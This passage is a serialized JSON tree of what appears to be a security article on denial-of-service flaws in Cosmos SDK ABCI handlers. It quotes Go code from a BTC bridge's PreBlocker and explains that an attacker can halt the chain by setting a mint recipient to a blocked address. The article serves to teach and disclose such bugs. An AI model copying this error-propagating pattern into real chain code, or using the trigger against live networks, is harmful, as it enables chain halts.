keeper",{"type":23,"tag":139,"props":79447,"children":79448},{"style":259},[79449],{"type":28,"value":73},{"type":23,"tag":139,"props":79451,"children":79452},{"style":245},[79453],{"type":28,"value":79208},{"type":23,"tag":139,"props":79455,"children":79456},{"style":259},[79457],{"type":28,"value":5739},{"type":23,"tag":139,"props":79459,"children":79460},{"class":141,"line":169},[79461,79466,79470,79474,79478,79482],{"type":23,"tag":139,"props":79462,"children":79463},{"style":294},[79464],{"type":28,"value":79465},"    keeper",{"type":23,"tag":139,"props":79467,"children":79468},{"style":259},[79469],{"type":28,"value":73},{"type":23,"tag":139,"props":79471,"children":79472},{"style":245},[79473],{"type":28,"value":79237},{"type":23,"tag":139,"props":79475,"children":79476},{"style":259},[79477],{"type":28,"value":262},{"type":23,"tag":139,"props":79479,"children":79480},{"style":294},[79481],{"type":28,"value":79246},{"type":23,"tag":139,"props":79483,"children":79484},{"style":259},[79485],{"type":28,"value":273},{"type":23,"tag":139,"props":79487,"children":79488},{"class":141,"line":178},[79489],{"type":23,"tag":139,"props":79490,"children":79491},{"emptyLinePlaceholder":15},[79492],{"type":28,"value":184},{"type":23,"tag":139,"props":79494,"children":79495},{"class":141,"line":187},[79496,79500],{"type":23,"tag":139,"props":79497,"children":79498},{"style":319},[79499],{"type":28,"value":50764},{"type":23,"tag":139,"props":79501,"children":79502},{"style":279},[79503],{"type":28,"value":79504}," nil\n",{"type":23,"tag":139,"props":79506,"children":79507},{"class":141,"line":196},[79508],{"type":23,"tag":139,"props":79509,"children":79510},{"style":259},[79511],{"type":28,"value":1897},{"type":23,"tag":666,"props":79513,"children":79515},{"id":79514},"real-world-examples-3",[79516],{"type":28,"value":74593},{"type":23,"tag":24,"props":79518,"children":79519},{},[79520],{"type":28,"value":79521},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":79523,"children":79524},{},[79525,79527,79533,79535,79540,79542,79548,79550,79556,79558,79564],{"type":28,"value":79526},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":135,"props":79528,"children":79530},{"className":79529},[],[79531],{"type":28,"value":79532},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":79534}," will be bubbled up through ",{"type":23,"tag":135,"props":79536,"children":79538},{"className":79537},[],[79539],{"type":28,"value":79307},{"type":28,"value":79541}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":135,"props":79543,"children":79545},{"className":79544},[],[79546],{"type":28,"value":79547},"SendCoinsFromModuleToAccount",{"type":28,"value":79549}," to return an error by setting ",{"type":23,"tag":135,"props":79551,"children":79553},{"className":79552},[],[79554],{"type":28,"value":79555},"recipient",{"type":28,"value":79557}," to some ",{"type":23,"tag":135,"props":79559,"children":79561},{"className":79560},[],[79562],{"type":28,"value":79563},"BlockedAddr",{"type":28,"value":79565},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":79567,"children":79568},{},[79569],{"type":23,"tag":64,"props":79570,"children":79573},{"href":79571,"rel":79572},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[68],[79574],{"type":28,"value":74643},{"type":23,"tag":128,"props":79576,"children":79578},{"code":79577,"language":74068,"meta":7,"className":74069,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[79579],{"type":23,"tag":135,"props":79580,"children":79581},{"__ignoreMap":7},[79582,79635,79650,79673,79703,79739,79747,79803,79827,79877,79884,79891,79898,79905,79912,79943,79966,79991,80006,80013,80050,80104,80127,80168,80175,80182,80233,80294,80317,80340,80352,80373,80385,80393,80400,80415,80423,80430,80437,80444,80451,80458,80489,80512,80537,80562,80577,80584,80621,80632,80653,80664,80676,80683,80706,80746,80753,80760],{"type":23,"tag":139,"props":79583,"children":79584},{"class":141,"line":142},[79585,79589,79593,79598,79602,79607,79611,79615,79619,79623,79627,79631],{"type":23,"tag":139,"props":79586,"children":79587},{"style":279},[79588],{"type":28,"value":74204},{"type":23,"tag":139,"props":79590,"children":79591},{"style":259},[79592],{"type":28,"value":1042},{"type":23,"tag":139,"props":79594,"children":79595},{"style":294},[79596],{"type":28,"value":79597},"pbh ",{"type":23,"tag":139,"props":79599,"children":79600},{"style":982},[79601],{"type":28,"value":2573},{"type":23,"tag":139,"props":79603,"children":79604},{"style":305},[79605],{"type":28,"value":79606},"PreBlockHandler",{"type":23,"tag":139,"props":79608,"children":79609},{"style":259},[79610],{"type":28,"value":1062},{"type":23,"tag":139,"props":79612,"children":79613},{"style":245},[79614],{"type":28,"value":79307},{"type":23,"tag":139,"props":79616,"children":79617},{"style":259},[79618],{"type":28,"value":12054},{"type":23,"tag":139,"props":79620,"children":79621},{"style":305},[79622],{"type":28,"value":76634},{"type":23,"tag":139,"props":79624,"children":79625},{"style":259},[79626],{"type":28,"value":73},{"type":23,"tag":139,"props":79628,"children":79629},{"style":305},[79630],{"type":28,"value":79307},{"type":23,"tag":139,"props":79632,"children":79633},{"style":259},[79634],{"type":28,"value":1268},{"type":23,"tag":139,"props":79636,"children":79637},{"class":141,"line":151},[79638,79642,79646],{"type":23,"tag":139,"props":79639,"children":79640},{"style":319},[79641],{"type":28,"value":322},{"type":23,"tag":139,"props":79643,"children":79644},{"style":279},[79645],{"type":28,"value":77913},{"type":23,"tag":139,"props":79647,"children":79648},{"style":259},[79649],{"type":28,"value":1443},{"type":23,"tag":139,"props":79651,"children":79652},{"class":141,"line":160},[79653,79657,79661,79665,79669],{"type":23,"tag":139,"props":79654,"children":79655},{"style":294},[79656],{"type":28,"value":24207},{"type":23,"tag":139,"props":79658,"children":79659},{"style":305},[79660],{"type":28,"value":76545},{"type":23,"tag":139,"props":79662,"children":79663},{"style":259},[79664],{"type":28,"value":73},{"type":23,"tag":139,"props":79666,"children":79667},{"style":305},[79668],{"type":28,"value":74253},{"type":23,"tag":139,"props":79670,"children":79671},{"style":259},[79672],{"type":28,"value":1488},{"type":23,"tag":139,"props":79674,"children":79675},{"class":141,"line":169},[79676,79681,79685,79690,79694,79699],{"type":23,"tag":139,"props":79677,"children":79678},{"style":294},[79679],{"type":28,"value":79680},"        req",{"type":23,"tag":139,"props":79682,"children":79683},{"style":982},[79684],{"type":28,"value":7825},{"type":23,"tag":139,"props":79686,"children":79687},{"style":305},[79688],{"type":28,"value":79689},"cmtabci",{"type":23,"tag":139,"props":79691,"children":79692},{"style":259},[79693],{"type":28,"value":73},{"type":23,"tag":139,"props":79695,"children":79696},{"style":305},[79697],{"type":28,"value":79698},"RequestFinalizeBlock",{"type":23,"tag":139,"props":79700,"children":79701},{"style":259},[79702],{"type":28,"value":1488},{"type":23,"tag":139,"props":79704,"children":79705},{"class":141,"line":178},[79706,79710,79714,79718,79722,79727,79731,79735],{"type":23,"tag":139,"props":79707,"children":79708},{"style":259},[79709],{"type":28,"value":77981},{"type":23,"tag":139,"props":79711,"children":79712},{"style":982},[79713],{"type":28,"value":2573},{"type":23,"tag":139,"props":79715,"children":79716},{"style":305},[79717],{"type":28,"value":76634},{"type":23,"tag":139,"props":79719,"children":79720},{"style":259},[79721],{"type":28,"value":73},{"type":23,"tag":139,"props":79723,"children":79724},{"style":305},[79725],{"type":28,"value":79726},"ResponsePreBlock",{"type":23,"tag":139,"props":79728,"children":79729},{"style":259},[79730],{"type":28,"value":1052},{"type":23,"tag":139,"props":79732,"children":79733},{"style":305},[79734],{"type":28,"value":12875},{"type":23,"tag":139,"props":79736,"children":79737},{"style":259},[79738],{"type":28,"value":12815},{"type":23,"tag":139,"props":79740,"children":79741},{"class":141,"line":187},[79742],{"type":23,"tag":139,"props":79743,"children":79744},{"style":982},[79745],{"type":28,"value":79746},"        ...\n",{"type":23,"tag":139,"props":79748,"children":79749},{"class":141,"line":196},[79750,79755,79759,79764,79768,79773,79777,79782,79786,79790,79794,79799],{"type":23,"tag":139,"props":79751,"children":79752},{"style":294},[79753],{"type":28,"value":79754},"        err",{"type":23,"tag":139,"props":79756,"children":79757},{"style":982},[79758],{"type":28,"value":74320},{"type":23,"tag":139,"props":79760,"children":79761},{"style":294},[79762],{"type":28,"value":79763}," pbh",{"type":23,"tag":139,"props":79765,"children":79766},{"style":259},[79767],{"type":28,"value":73},{"type":23,"tag":139,"props":79769,"children":79770},{"style":294},[79771],{"type":28,"value":79772},"bridgeKeeper",{"type":23,"tag":139,"props":79774,"children":79775},{"style":259},[79776],{"type":28,"value":73},{"type":23,"tag":139,"props":79778,"children":79779},{"style":245},[79780],{"type":28,"value":79781},"AcceptAssetsLocked",{"type":23,"tag":139,"props":79783,"children":79784},{"style":259},[79785],{"type":28,"value":262},{"type":23,"tag":139,"props":79787,"children":79788},{"style":294},[79789],{"type":28,"value":18288},{"type":23,"tag":139,"props":79791,"children":79792},{"style":259},[79793],{"type":28,"value":1052},{"type":23,"tag":139,"props":79795,"children":79796},{"style":294},[79797],{"type":28,"value":79798},"events",{"type":23,"tag":139,"props":79800,"children":79801},{"style":259},[79802],{"type":28,"value":273},{"type":23,"tag":139,"props":79804,"children":79805},{"class":141,"line":205},[79806,79810,79814,79818,79823],{"type":23,"tag":139,"props":79807,"children":79808},{"style":319},[79809],{"type":28,"value":1249},{"type":23,"tag":139,"props":79811,"children":79812},{"style":294},[79813],{"type":28,"value":46418},{"type":23,"tag":139,"props":79815,"children":79816},{"style":982},[79817],{"type":28,"value":62287},{"type":23,"tag":139,"props":79819,"children":79820},{"style":279},[79821],{"type":28,"value":79822}," nil",{"type":23,"tag":139,"props":79824,"children":79825},{"style":259},[79826],{"type":28,"value":1268},{"type":23,"tag":139,"props":79828,"children":79829},{"class":141,"line":214},[79830,79834,79838,79842,79847,79851,79856,79860,79865,79869,79873],{"type":23,"tag":139,"props":79831,"children":79832},{"style":319},[79833],{"type":28,"value":76980},{"type":23,"tag":139,"props":79835,"children":79836},{"style":279},[79837],{"type":28,"value":79822},{"type":23,"tag":139,"props":79839,"children":79840},{"style":259},[79841],{"type":28,"value":1052},{"type":23,"tag":139,"props":79843,"children":79844},{"style":294},[79845],{"type":28,"value":79846},"fmt",{"type":23,"tag":139,"props":79848,"children":79849},{"style":259},[79850],{"type":28,"value":73},{"type":23,"tag":139,"props":79852,"children":79853},{"style":245},[79854],{"type":28,"value":79855},"Errorf",{"type":23,"tag":139,"props":79857,"children":79858},{"style":259},[79859],{"type":28,"value":262},{"type":23,"tag":139,"props":79861,"children":79862},{"style":265},[79863],{"type":28,"value":79864},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":139,"props":79866,"children":79867},{"style":259},[79868],{"type":28,"value":1052},{"type":23,"tag":139,"props":79870,"children":79871},{"style":294},[79872],{"type":28,"value":46317},{"type":23,"tag":139,"props":79874,"children":79875},{"style":259},[79876],{"type":28,"value":273},{"type":23,"tag":139,"props":79878,"children":79879},{"class":141,"line":1320},[79880],{"type":23,"tag":139,"props":79881,"children":79882},{"style":259},[79883],{"type":28,"value":1326},{"type":23,"tag":139,"props":79885,"children":79886},{"class":141,"line":1329},[79887],{"type":23,"tag":139,"props":79888,"children":79889},{"style":982},[79890],{"type":28,"value":79746},{"type":23,"tag":139,"props":79892,"children":79893},{"class":141,"line":1580},[79894],{"type":23,"tag":139,"props":79895,"children":79896},{"style":259},[79897],{"type":28,"value":1335},{"type":23,"tag":139,"props":79899,"children":79900},{"class":141,"line":1597},[79901],{"type":23,"tag":139,"props":79902,"children":79903},{"style":259},[79904],{"type":28,"value":1897},{"type":23,"tag":139,"props":79906,"children":79907},{"class":141,"line":1614},[79908],{"type":23,"tag":139,"props":79909,"children":79910},{"emptyLinePlaceholder":15},[79911],{"type":28,"value":184},{"type":23,"tag":139,"props":79913,"children":79914},{"class":141,"line":1627},[79915,79919,79923,79927,79931,79935,79939],{"type":23,"tag":139,"props":79916,"children":79917},{"style":279},[79918],{"type":28,"value":74204},{"type":23,"tag":139,"props":79920,"children":79921},{"style":259},[79922],{"type":28,"value":1042},{"type":23,"tag":139,"props":79924,"children":79925},{"style":294},[79926],{"type":28,"value":79032},{"type":23,"tag":139,"props":79928,"children":79929},{"style":305},[79930],{"type":28,"value":77849},{"type":23,"tag":139,"props":79932,"children":79933},{"style":259},[79934],{"type":28,"value":1062},{"type":23,"tag":139,"props":79936,"children":79937},{"style":245},[79938],{"type":28,"value":79781},{"type":23,"tag":139,"props":79940,"children":79941},{"style":259},[79942],{"type":28,"value":1443},{"type":23,"tag":139,"props":79944,"children":79945},{"class":141,"line":1636},[79946,79950,79954,79958,79962],{"type":23,"tag":139,"props":79947,"children":79948},{"style":294},[79949],{"type":28,"value":18231},{"type":23,"tag":139,"props":79951,"children":79952},{"style":305},[79953],{"type":28,"value":76545},{"type":23,"tag":139,"props":79955,"children":79956},{"style":259},[79957],{"type":28,"value":73},{"type":23,"tag":139,"props":79959,"children":79960},{"style":305},[79961],{"type":28,"value":74253},{"type":23,"tag":139,"props":79963,"children":79964},{"style":259},[79965],{"type":28,"value":1488},{"type":23,"tag":139,"props":79967,"children":79968},{"class":141,"line":1659},[79969,79974,79978,79982,79987],{"type":23,"tag":139,"props":79970,"children":79971},{"style":294},[79972],{"type":28,"value":79973},"    events",{"type":23,"tag":139,"props":79975,"children":79976},{"style":305},[79977],{"type":28,"value":76079},{"type":23,"tag":139,"props":79979,"children":79980},{"style":259},[79981],{"type":28,"value":73},{"type":23,"tag":139,"props":79983,"children":79984},{"style":305},[79985],{"type":28,"value":79986},"AssetsLockedEvents",{"type":23,"tag":139,"props":79988,"children":79989},{"style":259},[79990],{"type":28,"value":1488},{"type":23,"tag":139,"props":79992,"children":79993},{"class":141,"line":1667},[79994,79998,80002],{"type":23,"tag":139,"props":79995,"children":79996},{"style":259},[79997],{"type":28,"value":1062},{"type":23,"tag":139,"props":79999,"children":80000},{"style":305},[80001],{"type":28,"value":12875},{"type":23,"tag":139,"props":80003,"children":80004},{"style":259},[80005],{"type":28,"value":1268},{"type":23,"tag":139,"props":80007,"children":80008},{"class":141,"line":1676},[80009],{"type":23,"tag":139,"props":80010,"children":80011},{"style":982},[80012],{"type":28,"value":18347},{"type":23,"tag":139,"props":80014,"children":80015},{"class":141,"line":1745},[80016,80020,80024,80028,80033,80037,80041,80046],{"type":23,"tag":139,"props":80017,"children":80018},{"style":319},[80019],{"type":28,"value":1003},{"type":23,"tag":139,"props":80021,"children":80022},{"style":294},[80023],{"type":28,"value":1008},{"type":23,"tag":139,"props":80025,"children":80026},{"style":259},[80027],{"type":28,"value":1052},{"type":23,"tag":139,"props":80029,"children":80030},{"style":294},[80031],{"type":28,"value":80032},"event",{"type":23,"tag":139,"props":80034,"children":80035},{"style":982},[80036],{"type":28,"value":74320},{"type":23,"tag":139,"props":80038,"children":80039},{"style":319},[80040],{"type":28,"value":75303},{"type":23,"tag":139,"props":80042,"children":80043},{"style":294},[80044],{"type":28,"value":80045}," events",{"type":23,"tag":139,"props":80047,"children":80048},{"style":259},[80049],{"type":28,"value":1268},{"type":23,"tag":139,"props":80051,"children":80052},{"class":141,"line":1753},[80053,80058,80062,80066,80070,80074,80078,80083,80087,80091,80095,80100],{"type":23,"tag":139,"props":80054,"children":80055},{"style":294},[80056],{"type":28,"value":80057},"        recipient",{"type":23,"tag":139,"props":80059,"children":80060},{"style":259},[80061],{"type":28,"value":1052},{"type":23,"tag":139,"props":80063,"children":80064},{"style":294},[80065],{"type":28,"value":46317},{"type":23,"tag":139,"props":80067,"children":80068},{"style":982},[80069],{"type":28,"value":74320},{"type":23,"tag":139,"props":80071,"children":80072},{"style":294},[80073],{"type":28,"value":76545},{"type":23,"tag":139,"props":80075,"children":80076},{"style":259},[80077],{"type":28,"value":73},{"type":23,"tag":139,"props":80079,"children":80080},{"style":245},[80081],{"type":28,"value":80082},"AccAddressFromBech32",{"type":23,"tag":139,"props":80084,"children":80085},{"style":259},[80086],{"type":28,"value":262},{"type":23,"tag":139,"props":80088,"children":80089},{"style":294},[80090],{"type":28,"value":80032},{"type":23,"tag":139,"props":80092,"children":80093},{"style":259},[80094],{"type":28,"value":73},{"type":23,"tag":139,"props":80096,"children":80097},{"style":294},[80098],{"type":28,"value":80099},"Recipient",{"type":23,"tag":139,"props":80101,"children":80102},{"style":259},[80103],{"type":28,"value":273},{"type":23,"tag":139,"props":80105,"children":80106},{"class":141,"line":1783},[80107,80111,80115,80119,80123],{"type":23,"tag":139,"props":80108,"children":80109},{"style":319},[80110],{"type":28,"value":1249},{"type":23,"tag":139,"props":80112,"children":80113},{"style":294},[80114],{"type":28,"value":46418},{"type":23,"tag":139,"props":80116,"children":80117},{"style":982},[80118],{"type":28,"value":62287},{"type":23,"tag":139,"props":80120,"children":80121},{"style":279},[80122],{"type":28,"value":79822},{"type":23,"tag":139,"props":80124,"children":80125},{"style":259},[80126],{"type":28,"value":1268},{"type":23,"tag":139,"props":80128,"children":80129},{"class":141,"line":1791},[80130,80134,80139,80143,80147,80151,80156,80160,80164],{"type":23,"tag":139,"props":80131,"children":80132},{"style":319},[80133],{"type":28,"value":76980},{"type":23,"tag":139,"props":80135,"children":80136},{"style":294},[80137],{"type":28,"value":80138}," fmt",{"type":23,"tag":139,"props":80140,"children":80141},{"style":259},[80142],{"type":28,"value":73},{"type":23,"tag":139,"props":80144,"children":80145},{"style":245},[80146],{"type":28,"value":79855},{"type":23,"tag":139,"props":80148,"children":80149},{"style":259},[80150],{"type":28,"value":262},{"type":23,"tag":139,"props":80152,"children":80153},{"style":265},[80154],{"type":28,"value":80155},"\"failed to parse recipient address: %w\"",{"type":23,"tag":139,"props":80157,"children":80158},{"style":259},[80159],{"type":28,"value":1052},{"type":23,"tag":139,"props":80161,"children":80162},{"style":294},[80163],{"type":28,"value":46317},{"type":23,"tag":139,"props":80165,"children":80166},{"style":259},[80167],{"type":28,"value":273},{"type":23,"tag":139,"props":80169,"children":80170},{"class":141,"line":1823},[80171],{"type":23,"tag":139,"props":80172,"children":80173},{"style":259},[80174],{"type":28,"value":1326},{"type":23,"tag":139,"props":80176,"children":80177},{"class":141,"line":1831},[80178],{"type":23,"tag":139,"props":80179,"children":80180},{"emptyLinePlaceholder":15},[80181],{"type":28,"value":184},{"type":23,"tag":139,"props":80183,"children":80184},{"class":141,"line":1891},[80185,80189,80194,80198,80203,80207,80211,80215,80220,80224,80229],{"type":23,"tag":139,"props":80186,"children":80187},{"style":319},[80188],{"type":28,"value":1249},{"type":23,"tag":139,"props":80190,"children":80191},{"style":294},[80192],{"type":28,"value":80193}," bytes",{"type":23,"tag":139,"props":80195,"children":80196},{"style":259},[80197],{"type":28,"value":73},{"type":23,"tag":139,"props":80199,"children":80200},{"style":245},[80201],{"type":28,"value":80202},"Equal",{"type":23,"tag":139,"props":80204,"children":80205},{"style":259},[80206],{"type":28,"value":262},{"type":23,"tag":139,"props":80208,"children":80209},{"style":294},[80210],{"type":28,"value":80032},{"type":23,"tag":139,"props":80212,"children":80213},{"style":259},[80214],{"type":28,"value":73},{"type":23,"tag":139,"props":80216,"children":80217},{"style":245},[80218],{"type":28,"value":80219},"TokenBytes",{"type":23,"tag":139,"props":80221,"children":80222},{"style":259},[80223],{"type":28,"value":16389},{"type":23,"tag":139,"props":80225,"children":80226},{"style":294},[80227],{"type":28,"value":80228},"sourceBTCToken",{"type":23,"tag":139,"props":80230,"children":80231},{"style":259},[80232],{"type":28,"value":12815},{"type":23,"tag":139,"props":80234,"children":80235},{"class":141,"line":7053},[80236,80241,80245,80249,80253,80258,80262,80266,80270,80274,80278,80282,80286,80290],{"type":23,"tag":139,"props":80237,"children":80238},{"style":294},[80239],{"type":28,"value":80240},"            err",{"type":23,"tag":139,"props":80242,"children":80243},{"style":982},[80244],{"type":28,"value":985},{"type":23,"tag":139,"props":80246,"children":80247},{"style":294},[80248],{"type":28,"value":79160},{"type":23,"tag":139,"props":80250,"children":80251},{"style":259},[80252],{"type":28,"value":73},{"type":23,"tag":139,"props":80254,"children":80255},{"style":245},[80256],{"type":28,"value":80257},"mintBTC",{"type":23,"tag":139,"props":80259,"children":80260},{"style":259},[80261],{"type":28,"value":262},{"type":23,"tag":139,"props":80263,"children":80264},{"style":294},[80265],{"type":28,"value":18288},{"type":23,"tag":139,"props":80267,"children":80268},{"style":259},[80269],{"type":28,"value":1052},{"type":23,"tag":139,"props":80271,"children":80272},{"style":294},[80273],{"type":28,"value":79555},{"type":23,"tag":139,"props":80275,"children":80276},{"style":259},[80277],{"type":28,"value":1052},{"type":23,"tag":139,"props":80279,"children":80280},{"style":294},[80281],{"type":28,"value":80032},{"type":23,"tag":139,"props":80283,"children":80284},{"style":259},[80285],{"type":28,"value":73},{"type":23,"tag":139,"props":80287,"children":80288},{"style":294},[80289],{"type":28,"value":76959},{"type":23,"tag":139,"props":80291,"children":80292},{"style":259},[80293],{"type":28,"value":273},{"type":23,"tag":139,"props":80295,"children":80296},{"class":141,"line":7071},[80297,80301,80305,80309,80313],{"type":23,"tag":139,"props":80298,"children":80299},{"style":319},[80300],{"type":28,"value":56700},{"type":23,"tag":139,"props":80302,"children":80303},{"style":294},[80304],{"type":28,"value":46418},{"type":23,"tag":139,"props":80306,"children":80307},{"style":982},[80308],{"type":28,"value":62287},{"type":23,"tag":139,"props":80310,"children":80311},{"style":279},[80312],{"type":28,"value":79822},{"type":23,"tag":139,"props":80314,"children":80315},{"style":259},[80316],{"type":28,"value":1268},{"type":23,"tag":139,"props":80318,"children":80319},{"class":141,"line":7116},[80320,80324,80328,80332,80336],{"type":23,"tag":139,"props":80321,"children":80322},{"style":319},[80323],{"type":28,"value":58628},{"type":23,"tag":139,"props":80325,"children":80326},{"style":294},[80327],{"type":28,"value":80138},{"type":23,"tag":139,"props":80329,"children":80330},{"style":259},[80331],{"type":28,"value":73},{"type":23,"tag":139,"props":80333,"children":80334},{"style":245},[80335],{"type":28,"value":79855},{"type":23,"tag":139,"props":80337,"children":80338},{"style":259},[80339],{"type":28,"value":1443},{"type":23,"tag":139,"props":80341,"children":80342},{"class":141,"line":7222},[80343,80348],{"type":23,"tag":139,"props":80344,"children":80345},{"style":265},[80346],{"type":28,"value":80347},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":139,"props":80349,"children":80350},{"style":259},[80351],{"type":28,"value":1488},{"type":23,"tag":139,"props":80353,"children":80354},{"class":141,"line":21518},[80355,80360,80364,80369],{"type":23,"tag":139,"props":80356,"children":80357},{"style":294},[80358],{"type":28,"value":80359},"                    event",{"type":23,"tag":139,"props":80361,"children":80362},{"style":259},[80363],{"type":28,"value":73},{"type":23,"tag":139,"props":80365,"children":80366},{"style":294},[80367],{"type":28,"value":80368},"Sequence",{"type":23,"tag":139,"props":80370,"children":80371},{"style":259},[80372],{"type":28,"value":1488},{"type":23,"tag":139,"props":80374,"children":80375},{"class":141,"line":21553},[80376,80381],{"type":23,"tag":139,"props":80377,"children":80378},{"style":294},[80379],{"type":28,"value":80380},"                    err",{"type":23,"tag":139,"props":80382,"children":80383},{"style":259},[80384],{"type":28,"value":1488},{"type":23,"tag":139,"props":80386,"children":80387},{"class":141,"line":21561},[80388],{"type":23,"tag":139,"props":80389,"children":80390},{"style":259},[80391],{"type":28,"value":80392},"                )\n",{"type":23,"tag":139,"props":80394,"children":80395},{"class":141,"line":21569},[80396],{"type":23,"tag":139,"props":80397,"children":80398},{"style":259},[80399],{"type":28,"value":56784},{"type":23,"tag":139,"props":80401,"children":80402},{"class":141,"line":21578},[80403,80407,80411],{"type":23,"tag":139,"props":80404,"children":80405},{"style":259},[80406],{"type":28,"value":1288},{"type":23,"tag":139,"props":80408,"children":80409},{"style":319},[80410],{"type":28,"value":1293},{"type":23,"tag":139,"props":80412,"children":80413},{"style":259},[80414],{"type":28,"value":1268},{"type":23,"tag":139,"props":80416,"children":80417},{"class":141,"line":21620},[80418],{"type":23,"tag":139,"props":80419,"children":80420},{"style":982},[80421],{"type":28,"value":80422},"            ...\n",{"type":23,"tag":139,"props":80424,"children":80425},{"class":141,"line":21653},[80426],{"type":23,"tag":139,"props":80427,"children":80428},{"style":259},[80429],{"type":28,"value":1326},{"type":23,"tag":139,"props":80431,"children":80432},{"class":141,"line":21661},[80433],{"type":23,"tag":139,"props":80434,"children":80435},{"style":259},[80436],{"type":28,"value":1335},{"type":23,"tag":139,"props":80438,"children":80439},{"class":141,"line":21669},[80440],{"type":23,"tag":139,"props":80441,"children":80442},{"style":982},[80443],{"type":28,"value":18347},{"type":23,"tag":139,"props":80445,"children":80446},{"class":141,"line":21678},[80447],{"type":23,"tag":139,"props":80448,"children":80449},{"style":259},[80450],{"type":28,"value":1897},{"type":23,"tag":139,"props":80452,"children":80453},{"class":141,"line":21754},[80454],{"type":23,"tag":139,"props":80455,"children":80456},{"emptyLinePlaceholder":15},[80457],{"type":28,"value":184},{"type":23,"tag":139,"props":80459,"children":80460},{"class":141,"line":21787},[80461,80465,80469,80473,80477,80481,80485],{"type":23,"tag":139,"props":80462,"children":80463},{"style":279},[80464],{"type":28,"value":74204},{"type":23,"tag":139,"props":80466,"children":80467},{"style":259},[80468],{"type":28,"value":1042},{"type":23,"tag":139,"props":80470,"children":80471},{"style":294},[80472],{"type":28,"value":79032},{"type":23,"tag":139,"props":80474,"children":80475},{"style":305},[80476],{"type":28,"value":77849},{"type":23,"tag":139,"props":80478,"children":80479},{"style":259},[80480],{"type":28,"value":1062},{"type":23,"tag":139,"props":80482,"children":80483},{"style":245},[80484],{"type":28,"value":80257},{"type":23,"tag":139,"props":80486,"children":80487},{"style":259},[80488],{"type":28,"value":1443},{"type":23,"tag":139,"props":80490,"children":80491},{"class":141,"line":21795},[80492,80496,80500,80504,80508],{"type":23,"tag":139,"props":80493,"children":80494},{"style":294},[80495],{"type":28,"value":18231},{"type":23,"tag":139,"props":80497,"children":80498},{"style":305},[80499],{"type":28,"value":76545},{"type":23,"tag":139,"props":80501,"children":80502},{"style":259},[80503],{"type":28,"value":73},{"type":23,"tag":139,"props":80505,"children":80506},{"style":305},[80507],{"type":28,"value":74253},{"type":23,"tag":139,"props":80509,"children":80510},{"style":259},[80511],{"type":28,"value":1488},{"type":23,"tag":139,"props":80513,"children":80514},{"class":141,"line":21803},[80515,80520,80524,80528,80533],{"type":23,"tag":139,"props":80516,"children":80517},{"style":294},[80518],{"type":28,"value":80519},"    recipient",{"type":23,"tag":139,"props":80521,"children":80522},{"style":305},[80523],{"type":28,"value":76545},{"type":23,"tag":139,"props":80525,"children":80526},{"style":259},[80527],{"type":28,"value":73},{"type":23,"tag":139,"props":80529,"children":80530},{"style":305},[80531],{"type":28,"value":80532},"AccAddress",{"type":23,"tag":139,"props":80534,"children":80535},{"style":259},[80536],{"type":28,"value":1488},{"type":23,"tag":139,"props":80538,"children":80539},{"class":141,"line":21840},[80540,80544,80549,80553,80558],{"type":23,"tag":139,"props":80541,"children":80542},{"style":294},[80543],{"type":28,"value":59482},{"type":23,"tag":139,"props":80545,"children":80546},{"style":305},[80547],{"type":28,"value":80548}," math",{"type":23,"tag":139,"props":80550,"children":80551},{"style":259},[80552],{"type":28,"value":73},{"type":23,"tag":139,"props":80554,"children":80555},{"style":305},[80556],{"type":28,"value":80557},"Int",{"type":23,"tag":139,"props":80559,"children":80560},{"style":259},[80561],{"type":28,"value":1488},{"type":23,"tag":139,"props":80563,"children":80564},{"class":141,"line":21853},[80565,80569,80573],{"type":23,"tag":139,"props":80566,"children":80567},{"style":259},[80568],{"type":28,"value":1062},{"type":23,"tag":139,"props":80570,"children":80571},{"style":305},[80572],{"type":28,"value":12875},{"type":23,"tag":139,"props":80574,"children":80575},{"style":259},[80576],{"type":28,"value":1268},{"type":23,"tag":139,"props":80578,"children":80579},{"class":141,"line":21866},[80580],{"type":23,"tag":139,"props":80581,"children":80582},{"style":982},[80583],{"type":28,"value":18347},{"type":23,"tag":139,"props":80585,"children":80586},{"class":141,"line":21879},[80587,80592,80596,80600,80604,80609,80613,80617],{"type":23,"tag":139,"props":80588,"children":80589},{"style":294},[80590],{"type":28,"value":80591},"    